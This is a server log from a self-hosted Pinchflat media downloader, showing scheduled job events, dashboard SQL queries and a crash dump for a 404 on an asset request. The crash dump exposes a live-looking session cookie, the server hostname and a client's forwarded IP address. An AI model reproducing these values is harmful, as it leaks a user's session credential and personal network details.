21:10:41.171 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:00.593 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:11:11.173 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:11:41.175 [info] {"source":"oban","duration":1022,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:00.595 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:12:11.177 [info] {"source":"oban","duration":954,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:12:41.179 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.596 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:11.181 [info] {"source":"oban","duration":922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:41.183 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:00.600 [info] {"source":"oban","duration":2513,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:14:11.185 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:14:41.188 [info] {"source":"oban","duration":1981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:00.601 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:15:11.190 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:15:41.192 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:00.602 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:16:11.194 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:16:41.196 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:00.608 [info] {"source":"oban","duration":4024,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:17:07.199 [info] GET / 21:17:07.201 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:17:07.205 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1199.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:07.228 [debug] QUERY OK source="media_profiles" db=23.0ms idle=752.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:17:07.239 [debug] QUERY OK source="sources" db=10.5ms queue=0.1ms idle=223.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:17:08.108 [debug] QUERY OK source="media_items" db=868.4ms queue=0.3ms idle=234.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:08.188 [debug] QUERY OK source="media_items" db=78.4ms queue=1.3ms idle=903.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:08.200 [debug] QUERY OK source="settings" db=0.5ms queue=0.6ms idle=969.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:08.201 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=960.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:08.211 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=755.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:08.233 [debug] QUERY OK source="tasks" db=0.5ms idle=123.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:17:08.256 [debug] QUERY OK source="media_items" db=6.4ms idle=61.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:08.258 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=58.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:08.261 [debug] QUERY OK source="sources" db=0.8ms queue=0.3ms idle=59.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:08.281 [debug] QUERY OK source="media_items" db=1.1ms idle=68.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:17:08.284 [debug] QUERY OK source="media_items" db=1.5ms queue=0.1ms idle=49.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:08.290 [info] Sent 200 in 1091ms 21:17:10.641 [info] GET / 21:17:10.641 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:17:10.642 [debug] QUERY OK source="settings" db=0.4ms idle=636.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.643 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=636.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:17:10.644 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=638.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:17:10.649 [debug] QUERY OK source="media_items" db=4.8ms queue=0.1ms idle=639.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:10.650 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=188.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:10.652 [debug] QUERY OK source="settings" db=0.8ms idle=9.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.653 [debug] QUERY OK source="settings" db=0.5ms queue=0.4ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.654 [debug] QUERY OK source="settings" db=0.6ms idle=9.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:10.656 [debug] QUERY OK source="tasks" db=0.3ms idle=6.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:17:10.694 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=42.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:10.694 [debug] QUERY OK source="media_items" db=0.6ms idle=42.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:10.696 [debug] QUERY OK source="sources" db=0.9ms idle=42.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:10.706 [debug] QUERY OK source="media_items" db=0.9ms idle=50.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:17:10.711 [debug] QUERY OK source="media_items" db=4.1ms queue=1.2ms idle=50.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:10.715 [info] Sent 200 in 74ms 21:17:11.198 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:18.652 [info] GET / 21:17:18.652 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:17:18.653 [debug] QUERY OK source="settings" db=0.2ms idle=1175.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:18.654 [debug] QUERY OK source="media_profiles" db=0.4ms idle=648.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:17:18.654 [debug] QUERY OK source="sources" db=0.1ms idle=648.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:17:18.655 [debug] QUERY OK source="media_items" db=0.7ms idle=649.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:18.656 [debug] QUERY OK source="media_items" db=0.5ms idle=175.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:18.656 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:18.657 [debug] QUERY OK source="settings" db=0.3ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:18.658 [debug] QUERY OK source="settings" db=0.3ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:18.659 [debug] QUERY OK source="tasks" db=0.9ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:17:18.661 [debug] QUERY OK source="media_items" db=0.6ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:18.662 [debug] QUERY OK source="media_items" db=1.0ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:18.663 [debug] QUERY OK source="sources" db=0.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:18.672 [debug] QUERY OK source="media_items" db=3.3ms idle=10.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:17:18.675 [debug] QUERY OK source="media_items" db=1.5ms idle=13.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:18.676 [info] Sent 200 in 23ms 21:17:41.200 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:17:44.216 [info] GET /assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd 21:17:44.241 [debug] QUERY OK source="settings" db=4.1ms queue=0.2ms idle=1231.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.245 [debug] QUERY OK source="settings" db=0.7ms queue=0.1ms idle=702.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.248 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:44.252 [error] #PID<0.11454.0> running PinchflatWeb.Endpoint (connection #PID<0.11453.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/app-84c55c57753816656f5134f541d32ba5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, 